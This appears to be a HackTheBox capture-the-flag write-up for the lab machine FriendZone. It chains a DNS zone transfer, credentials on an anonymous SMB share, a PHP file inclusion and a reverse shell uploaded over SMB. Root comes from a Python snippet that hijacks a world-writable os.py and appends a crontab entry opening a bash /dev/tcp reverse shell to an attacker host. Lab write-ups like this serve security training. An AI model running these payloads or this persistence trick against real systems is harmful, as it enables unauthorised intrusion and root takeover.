FriendZone Writeup - HackTheBox
FriendZone is a Linux box built on a chain of small misconfigurations. The chain runs: a TLS certificate that leaks the real domain, an open zone transfer that leaks the subdomains behind it, admin credentials sitting on an anonymous SMB share, a local file inclusion driven by the wrong looking parameter, a world-writable share that lands files where the include can reach them, and a world-writable os.py that a root cron job imports.
Reconnaissance
Port scan
Open $TARGET_IP:21 Open $TARGET_IP:22 Open $TARGET_IP:53 Open $TARGET_IP:80 Open $TARGET_IP:139 Open $TARGET_IP:443 Open $TARGET_IP:445
Explain command
| -a $TARGET_IP | Address to sweep for open ports across the full range. |
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Friend Zone Escape software 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/https Apache/2.4.29 (Ubuntu) | ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) Service Info: Host: FRIENDZONE; OSs: Unix, Linux Host script results: | smb-security-mode: | account_used: guest |_ message_signing: disabled (dangerous, but default)
Explain command
| -sCV | Run the default script set and probe service versions. |
| -T4 | Faster timing template, safe against a lab target. |
| -p21,22,53,80,139,443,445 | Limit the scan to the ports rustscan already found open. |
Three things to carry forward. Samba answers as guest, BIND is listening on 53, and the TLS certificate names friendzone.red, which is the real domain behind the raw address. The site on port 80 also advertises a contact address at friendzoneportal.red. Both names go in /etc/hosts, and an authoritative nameserver next to a known zone name means testing AXFR first.
Enumeration
Zone transfer
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 friendzone.red. 604800 IN AAAA ::1 friendzone.red. 604800 IN NS localhost. friendzone.red. 604800 IN A 127.0.0.1 administrator1.friendzone.red. 604800 IN A 127.0.0.1 hr.friendzone.red. 604800 IN A 127.0.0.1 uploads.friendzone.red. 604800 IN A 127.0.0.1
Explain command
| axfr friendzone.red | Request the full zone instead of a single record. |
| @$TARGET_IP | Send the query to the target nameserver. |
Three subdomains that are linked nowhere on the public site. They all point at loopback in the zone data, which means Apache separates them by virtual host, so they need to be added to /etc/hosts against the real address to be reachable.
$TARGET_IP friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red
hr returns a 404, so no vhost is configured for it. uploads is a decoy upload page with nothing behind it. administrator1 serves a real login form, which needs credentials.
Anonymous SMB
Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers Files NO ACCESS FriendZone Samba Server Files /etc/Files general READ ONLY FriendZone Samba Server Files Development READ, WRITE FriendZone Samba Server Files IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))
Explain command
| -u '' -p '' | Authenticate with an empty username and password to test null sessions. |
Two shares are reachable without credentials, and the comment on Files gives away its path on disk, /etc/Files. Shares here are named after directories directly under /etc, so Development, which is writable, is almost certainly /etc/Development. That matters later. First, the readable share.
smb: \> ls creds.txt N 57 Tue Oct 9 23:52:42 2018 smb: \> get creds.txt
Explain command
| -N | Connect without a password. |
creds for the admin THING: admin:$ADMINS_PASSWORD
Those credentials log into https://administrator1.friendzone.red/, which points at dashboard.php.
Vulnerability Discovery
The parameter that actually matters
The dashboard asks for an image_id and mentions a default of image_id=a.jpg&pagename=timestamp. Supplying both returns the timestamp output, and changing image_id changes nothing. pagename is the parameter with server side effect, and content discovery shows why.
images (Status: 301) [--> https://administrator1.friendzone.red/images/] login.php (Status: 200) dashboard.php (Status: 200) timestamp.php (Status: 36)
Explain command
| -k | Skip certificate validation on the self signed TLS. |
| -x php | Also try the php extension on every wordlist entry. |
| -t 50 | Run 50 concurrent requests. |
timestamp.php exists and matches pagename=timestamp exactly, so the backend is appending .php to the value and including it.
include($_GET['pagename'] . ".php");
Nothing sanitises that path, so any .php file on the filesystem can be included. Combined with the writable SMB share mapping to /etc/Development, that turns a file read primitive into code execution.
Exploitation
Writing a shell through SMB
smb: \> put php-reverse-shell.php putting file php-reverse-shell.php as \php-reverse-shell.php (4.4 kB/s)
The include runs without the extension, because the application adds it.
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 58332 Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
| -l | Listen for an incoming connection instead of dialing out. |
| -v | Verbose output so the inbound connection is visible. |
| -n | Skip DNS resolution on the connecting address. |
| -p $ATTACKER_PORT | Local port the reverse shell connects back to. |
Foothold as www-data.
Privilege Escalation
Watching for scheduled tasks
pspy polls /proc, which is world readable, so an unprivileged user can watch processes appear without any special rights. That is the fastest way to see cron.
CMD: UID=0 PID=3870 | /usr/bin/python /opt/server_admin/reporter.py CMD: UID=0 PID=3869 | /bin/sh -c /opt/server_admin/reporter.py CMD: UID=0 PID=3868 | /usr/sbin/CRON -f
#!/usr/bin/python import os to_address = "admin1@friendzone.com" from_address = "admin2@friendzone.com" print "[+] Trying to send email to %s"%to_address <snip> # I need to edit the script later # Sam ~ python developer
The script runs as root every two minutes and does nothing useful, but the print statement without parentheses means it runs under Python 2, and it imports os. Which os.py gets loaded depends on the module search path and on file permissions.
A world-writable standard library
-rw-r--r-- 1 root root 37526 Sep 12 2018 /usr/lib/python3.6/os.py -rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py
The Python 3 copy is locked down, the Python 2 copy is mode 777, and Python 2 is exactly what the cron job uses. Overwriting it means the next import executes whatever it contains as root. Appending a cron entry is more reliable than replacing the module wholesale, because the rest of the system keeps working.
import os
f = open("/etc/crontab", "a")
f.write("* * * * * root /bin/bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\"\n")
f.close()
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 40920 bash: no job control in this shell root@FriendZone:~# whoami root
Root within a minute of the next cron run. User and root are both covered.
Related
References
-
Unprivileged process monitor used to spot the root cron job.
-
Python 2: the module search pathDOCS: Python 2: the module search path, docs.python.org/2/tutorial/modules.html#the-module-search-path (opens in new tab)
Explains the import order that makes a writable os.py hijackable.